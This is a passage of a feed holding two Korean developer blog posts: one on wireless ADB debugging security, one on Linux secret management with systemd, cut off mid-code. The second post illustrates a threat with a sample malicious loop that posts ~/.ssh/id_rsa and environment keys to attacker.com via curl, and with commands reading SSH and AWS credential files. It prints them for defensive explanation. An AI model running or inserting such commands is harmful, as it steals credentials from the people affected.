&lt;blockquote&gt;
&lt;p&gt;포트가 열려 있어도 이미 승인된 PC 키가 없으면 접근 불가합니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  PC 허용은 언제 일어나는가?
&lt;/h3&gt;

&lt;p&gt;PC 허용 팝업은 &lt;strong&gt;딱 두 경우&lt;/strong&gt;에만 표시됩니다:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;USB debugging 최초 연결 시&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wireless Debugging 페어링 시&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;adb tcpip&lt;/code&gt;를 통한 무선 연결 시에는 &lt;strong&gt;새 PC에 대한 승인 팝업이 절대 뜨지 않습니다.&lt;/strong&gt; 이미 승인된 키만 허용됩니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  악성 스크립트 시나리오
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TB
    subgraph Attacker["공격 시나리오"]
        NEW[새로운 adb key로&amp;lt;br/&amp;gt;연결 시도] --&amp;gt; |폰에 키 없음| FAIL[연결 실패]
        STOLEN[이미 승인된 key&amp;lt;br/&amp;gt;탈취 후 시도] --&amp;gt; |키 존재| SUCCESS[연결 성공]
    end

    SUCCESS --&amp;gt; RISK[위험: PC 측 키 관리가 본질]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;결론:&lt;/strong&gt; 보안의 본질은 &lt;strong&gt;PC 측 키 관리&lt;/strong&gt;입니다.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. 보안적으로 위험한 상황 분석
&lt;/h2&gt;

&lt;h3&gt;
  
  
  일반적인 카페 Wi-Fi
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Client isolation 대부분 ON&lt;/li&gt;
&lt;li&gt;같은 SSID여도 단말 간 통신 불가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;현실적 위험도 낮음&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  이론적으로 위험해지는 조건
&lt;/h3&gt;

&lt;p&gt;아래 조건이 &lt;strong&gt;모두&lt;/strong&gt; 만족되어야 위험합니다:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TB
    C1[1. 같은 로컬 네트워크] --&amp;gt; AND{AND}
    C2[2. 5555 포트 열림] --&amp;gt; AND
    C3[3. 공격자가 adb client 보유] --&amp;gt; AND
    C4[4. 이미 승인된 adb key 탈취] --&amp;gt; AND
    AND --&amp;gt; ATTACK[타겟 공격 성공]

    style C4 fill:#ff6b6b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4번 조건이 핵심입니다.&lt;/strong&gt; 무작위 공격이 아니라 &lt;strong&gt;타겟 공격 수준&lt;/strong&gt;의 조건입니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  열린 포트 확인 방법
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 특정 포트가 열려있는지 확인&lt;/span&gt;
nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 5555 &amp;lt;target-ip&amp;gt;

&lt;span class="c"&gt;# 또는 netcat으로&lt;/span&gt;
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; &amp;lt;target-ip&amp;gt; 5555
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. 무선 ADB 연결 종료 방법
&lt;/h2&gt;

&lt;h3&gt;
  
  
  가장 확실한 방법
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;adb usb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이 명령은 adbd를 USB 모드로 전환하여 TCP 리스닝을 중단합니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  대안
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;효과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;adb usb&lt;/code&gt; 실행&lt;/td&gt;
&lt;td&gt;확실함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USB debugging OFF&lt;/td&gt;
&lt;td&gt;확실함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;단말 재부팅&lt;/td&gt;
&lt;td&gt;확실함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wi-Fi OFF&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;불충분&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비행기 모드&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;불충분&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;주의:&lt;/strong&gt; Wi-Fi를 끄거나 비행기 모드로 전환해도, 다시 같은 네트워크에 연결하면 포트가 여전히 열려 있을 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. ADB Key 관리 전략
&lt;/h2&gt;

&lt;h3&gt;
  
  
  기본 키 위치
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.android/
├── adbkey        (개인키)
└── adbkey.pub    (공개키)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;참고:&lt;/strong&gt; adb는 macOS Keychain이나 Windows Credential Manager를 직접 사용하지 않습니다. &lt;code&gt;adb --key&lt;/code&gt; 같은 옵션도 없으며, 키는 파일 기반으로만 로드됩니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  전략 1: root-only + sudo adb
&lt;/h3&gt;

&lt;p&gt;adbkey 파일을 root 권한으로만 접근 가능하게 설정:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 키 파일을 root 소유로 변경&lt;/span&gt;
&lt;span class="nb"&gt;sudo chown &lt;/span&gt;root:wheel ~/.android/adbkey
&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;600 ~/.android/adbkey

&lt;span class="c"&gt;# adb 실행 시 sudo 필요&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;adb devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;차단되는 것:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;유저 권한 악성 스크립트&lt;/li&gt;
&lt;li&gt;npm / pip post-install 스크립트&lt;/li&gt;
&lt;li&gt;IDE 플러그인&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;한계:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;sudo 권한을 가진 코드는 막을 수 없음&lt;/li&gt;
&lt;li&gt;하지만 이는 잘못된 위협 모델 - root 권한 코드를 막으려면 다른 보안 레이어 필요&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  전략 2: Keychain + wrapper 스크립트
&lt;/h3&gt;

&lt;p&gt;현실적인 우회 설계:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;adbkey를 암호화해 Keychain에 보관&lt;/li&gt;
&lt;li&gt;adb 실행 직전에만 키 파일 복원&lt;/li&gt;
&lt;li&gt;adb 실행 후 즉시 삭제
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# adb-secure wrapper 예시&lt;/span&gt;

&lt;span class="c"&gt;# Keychain에서 키 복원&lt;/span&gt;
security find-generic-password &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"adbkey"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/.android/adbkey

&lt;span class="c"&gt;# adb 실행&lt;/span&gt;
/usr/local/bin/adb &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# 키 삭제&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; ~/.android/adbkey
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;효과:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;자동 실행 악성 스크립트 차단&lt;/li&gt;
&lt;li&gt;무의식적 adb 호출 방지&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;한계:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;키가 풀린 짧은 시간 동안은 같은 유저 권한 코드 접근 가능&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. 현실적인 최종 권장안
&lt;/h2&gt;

&lt;h3&gt;
  
  
  개인 개발자 기준 최적 균형
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TB
    subgraph Daily["일상적인 보안"]
        D1[USB debugging은&amp;lt;br/&amp;gt;필요할 때만 ON]
        D2[무선 ADB는&amp;lt;br/&amp;gt;작업 중에만 활성화]
        D3[작업 끝나면&amp;lt;br/&amp;gt;adb usb 실행]
    end

    subgraph Advanced["추가 보안"]
        A1[adb key를&amp;lt;br/&amp;gt;root-only로 설정]
        A2[또는 wrapper로&amp;lt;br/&amp;gt;필요시에만 키 활성화]
        A3[가끔 USB 디버깅&amp;lt;br/&amp;gt;승인 철회]
    end

    Daily --&amp;gt; Advanced
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  정리
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;권장 사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;USB debugging&lt;/td&gt;
&lt;td&gt;필요할 때만 ON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;무선 ADB&lt;/td&gt;
&lt;td&gt;작업할 때만 &lt;code&gt;adb tcpip&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;작업 종료&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;adb usb&lt;/code&gt; 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;adb key&lt;/td&gt;
&lt;td&gt;root-only 또는 wrapper 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;정기 점검&lt;/td&gt;
&lt;td&gt;USB 디버깅 승인 목록 확인 및 철회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  승인된 PC 목록 초기화
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;개발자 옵션 → USB 디버깅 승인 철회&lt;/strong&gt; 메뉴에서 모든 승인된 PC를 한 번에 철회할 수 있습니다.&lt;/p&gt;




&lt;h2&gt;
  
  
  마무리
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;adb tcpip는 위험해서 피해야 할 기능이 아니라, 위협 모델을 정확히 이해하고 쓰면 충분히 안전한 도구입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;보안은 기능을 피하는 것이 아니라, &lt;strong&gt;위험을 이해하고 적절히 관리&lt;/strong&gt;하는 것입니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  참고 자료
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.android.com/tools/adb" rel="noopener noreferrer"&gt;Android Developer - ADB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.android.com/studio/run/device#wireless" rel="noopener noreferrer"&gt;Android 11 Wireless Debugging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://android.googlesource.com/platform/system/core/+/master/adb/OVERVIEW.TXT" rel="noopener noreferrer"&gt;ADB Authentication&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/mobile/android/2026/01/25/adb-wireless-debugging-security.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mobile</category>
      <category>android</category>
      <category>adb</category>
      <category>wirelessdebugging</category>
    </item>
    <item>
      <title>Linux 서버 보안 모델 완벽 가이드 - 시크릿 관리와 프로세스 격리</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Sun, 25 Jan 2026 05:02:00 +0000</pubDate>
      <link>https://forem.com/dss99911/linux-seobeo-boan-model-wanbyeog-gaideu-sikeuris-gwanriwa-peuroseseu-gyeogri-440n</link>
      <guid>https://forem.com/dss99911/linux-seobeo-boan-model-wanbyeog-gaideu-sikeuris-gwanriwa-peuroseseu-gyeogri-440n</guid>
      <description>&lt;h2&gt;
  
  
  한 줄 요약
&lt;/h2&gt;

&lt;p&gt;Linux는 &lt;strong&gt;"같은 유저 = 같은 권한"&lt;/strong&gt;이 기본이다. 앱별 시크릿 격리는 OS가 기본 제공하지 않으므로, &lt;strong&gt;systemd + 별도 유저 + sudo 승인&lt;/strong&gt; 조합으로 직접 설계해야 한다.&lt;/p&gt;




&lt;h2&gt;
  
  
  들어가며: AI 시대, 서버 보안이 더 중요해진 이유
&lt;/h2&gt;

&lt;p&gt;AI 에이전트(Claude Code, GitHub Copilot Workspace 등)를 서버에서 활용하는 시대가 되었다. AI는 코드 작성, 파일 수정, 명령어 실행 등 &lt;strong&gt;거의 모든 것&lt;/strong&gt;을 자율적으로 수행할 수 있다.&lt;/p&gt;

&lt;p&gt;이것은 양날의 검이다:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AI 에이전트가 할 수 있는 것:
├── 코드 작성 및 수정
├── 파일 시스템 접근
├── 명령어 실행
├── 네트워크 요청
└── ... 사실상 유저가 할 수 있는 모든 것
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;문제는 악성 스크립트도 마찬가지라는 것이다.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  인지되지 않은 백그라운드 스크립트의 위험
&lt;/h3&gt;

&lt;p&gt;서버에서 다음과 같은 스크립트가 돌고 있다면?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 어딘가에서 설치된 악성 스크립트&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="c"&gt;# SSH 키 탈취&lt;/span&gt;
    curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://attacker.com/collect &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_rsa&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="c"&gt;# 환경변수의 시크릿 탈취&lt;/span&gt;
    curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://attacker.com/collect &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; key&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="nb"&gt;sleep &lt;/span&gt;3600
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이런 스크립트는:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ps aux&lt;/code&gt;에 수상해 보이지 않는 이름으로 위장 가능&lt;/li&gt;
&lt;li&gt;cron, systemd timer, 또는 다른 서비스에 숨어서 실행&lt;/li&gt;
&lt;li&gt;같은 유저 권한이면 모든 시크릿 접근 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;AI를 활용하면서 보안에 소홀하면, AI의 강력한 능력이 공격자에게도 열리는 셈이다.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  이 글에서 다루는 것
&lt;/h3&gt;

&lt;p&gt;Linux 서버에서:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;왜 기본 설정으로는 보안이 취약한지&lt;/li&gt;
&lt;li&gt;시크릿을 안전하게 관리하는 방법&lt;/li&gt;
&lt;li&gt;AI 에이전트가 작업하면서도 보안을 유지하는 방법&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Linux vs macOS 보안 철학 비교
&lt;/h2&gt;

&lt;h3&gt;
  
  
  macOS: 앱별 권한 세분화
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────┐
│         TCC (Transparency,          │
│      Consent, and Control)          │
├─────────────────────────────────────┤
│  Keychain: 앱별 접근 권한 설정 가능  │
│  "이 앱에 Keychain 접근 허용?"       │
├─────────────────────────────────────┤
│      Gatekeeper, Sandbox 등         │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;앱별로 카메라, 마이크, 파일 접근 권한 분리&lt;/li&gt;
&lt;li&gt;Keychain 항목에 "이 앱만 접근" 설정 가능&lt;/li&gt;
&lt;li&gt;실행 후에도 세밀한 통제 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Linux: 유저/그룹 기반 권한
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────┐
│       root (UID 0) - 모든 권한       │
├─────────────────────────────────────┤
│     일반 유저 (UID 1000+)            │
│     - 같은 UID = 같은 권한           │
│     - 앱별 구분 없음                 │
├─────────────────────────────────────┤
│        파일 권한 (rwx)               │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;같은 유저로 실행되는 모든 프로세스는 동등한 권한&lt;/li&gt;
&lt;li&gt;"이 앱만 접근" 같은 앱별 권한 제어 기본 미제공&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;실행 전 신뢰 확보&lt;/strong&gt;가 핵심&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  철학 차이 요약
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;macOS&lt;/th&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;권한 단위&lt;/td&gt;
&lt;td&gt;앱별&lt;/td&gt;
&lt;td&gt;유저별&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시크릿 접근&lt;/td&gt;
&lt;td&gt;앱별 승인 팝업&lt;/td&gt;
&lt;td&gt;파일 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;보안 전략&lt;/td&gt;
&lt;td&gt;실행 후 통제&lt;/td&gt;
&lt;td&gt;실행 전 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;악성 앱 대응&lt;/td&gt;
&lt;td&gt;권한 거부 가능&lt;/td&gt;
&lt;td&gt;실행 자체 방지 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. Linux 보안의 핵심 한계
&lt;/h2&gt;

&lt;h3&gt;
  
  
  같은 유저 = 같은 권한
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# hyun 유저로 실행되는 모든 프로세스는:&lt;/span&gt;
- ~/.ssh/&lt;span class="k"&gt;*&lt;/span&gt; 읽기 가능
- 환경변수 접근 가능
- 같은 유저의 파일 모두 접근 가능
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;악성 스크립트가 &lt;code&gt;hyun&lt;/code&gt; 유저로 실행되면:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 이 모든 것이 가능&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_rsa
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.aws/credentials
&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;API_KEY
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  GNOME Keyring도 앱별 격리 없음
&lt;/h3&gt;

&lt;p&gt;macOS Keychain과 달리:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;세션 잠금 해제되면 모든 앱이 접근 가능&lt;/li&gt;
&lt;li&gt;"이 앱만 허용" 설정 없음&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  EC2 기본 설정의 문제
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# EC2 ubuntu 유저 기본 설정&lt;/span&gt;
ubuntu &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD:ALL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sudo 비밀번호 없이 root 권한 획득 가능 = 악성 스크립트에게 무방비&lt;/p&gt;




&lt;h2&gt;
  
  
  3. 실용적인 보안 전략
&lt;/h2&gt;

&lt;h3&gt;
  
  
  전략 1: 시크릿 파일 권한 설정 (기본)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 시크릿 파일 생성&lt;/span&gt;
&lt;span class="nb"&gt;sudo mkdir&lt;/span&gt; /etc/secrets
&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;700 /etc/secrets

&lt;span class="c"&gt;# API 키 저장&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'echo "your-api-key" &amp;gt; /etc/secrets/api_key'&lt;/span&gt;
&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;600 /etc/secrets/api_key
&lt;span class="nb"&gt;sudo chown &lt;/span&gt;root:root /etc/secrets/api_key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;root만 읽기 가능&lt;/li&gt;
&lt;li&gt;일반 유저 프로세스는 접근 불가&lt;/li&gt;
&lt;li&gt;단점: 앱 실행 시 sudo 필요&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  전략 2: systemd LoadCredential (권장)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# /etc/systemd/system/myapp.service
&lt;/span&gt;&lt;span class="nn"&gt;[Unit]&lt;/span&gt;
&lt;span class="py"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;My Application&lt;/span&gt;

&lt;span class="nn"&gt;[Service]&lt;/span&gt;
&lt;span class="py"&gt;User&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;myapp&lt;/span&gt;
&lt;span class="py"&gt;Group&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;myapp&lt;/span&gt;

&lt;span class="c"&gt;# 시크릿 주입 - root 소유 파일도 서비스에 전달 가능
&lt;/span&gt;&lt;span class="py"&gt;LoadCredential&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;api_key:/etc/secrets/api_key&lt;/span&gt;

&lt;span class="c"&gt;# 서비스 내에서 $CREDENTIALS_DIRECTORY/api_key로 접근
&lt;/span&gt;&lt;span class="py"&gt;ExecStart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/myapp&lt;/span&gt;

&lt;span class="c"&gt;# 추가 보안 옵션
&lt;/span&gt;&lt;span class="py"&gt;ProtectHome&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="py"&gt;ProtectSystem&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;strict&lt;/span&gt;
&lt;span class="py"&gt;PrivateTmp&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="py"&gt;NoNewPrivileges&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;

&lt;span class="nn"&gt;[Install]&lt;/span&gt;
&lt;span class="py"&gt;WantedBy&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;동작 방식:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. systemd가 서비스 시작 시 /etc/secrets/api_key 읽음
2. /run/credentials/myapp.service/api_key에 복사
3. 디렉토리 권한을 myapp 유저로 설정
4. 다른 서비스/프로세스는 접근 불가
5. 서비스 종료 시 삭제
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;앱 내에서 접근:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python 예시
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;credentials_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CREDENTIALS_DIRECTORY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
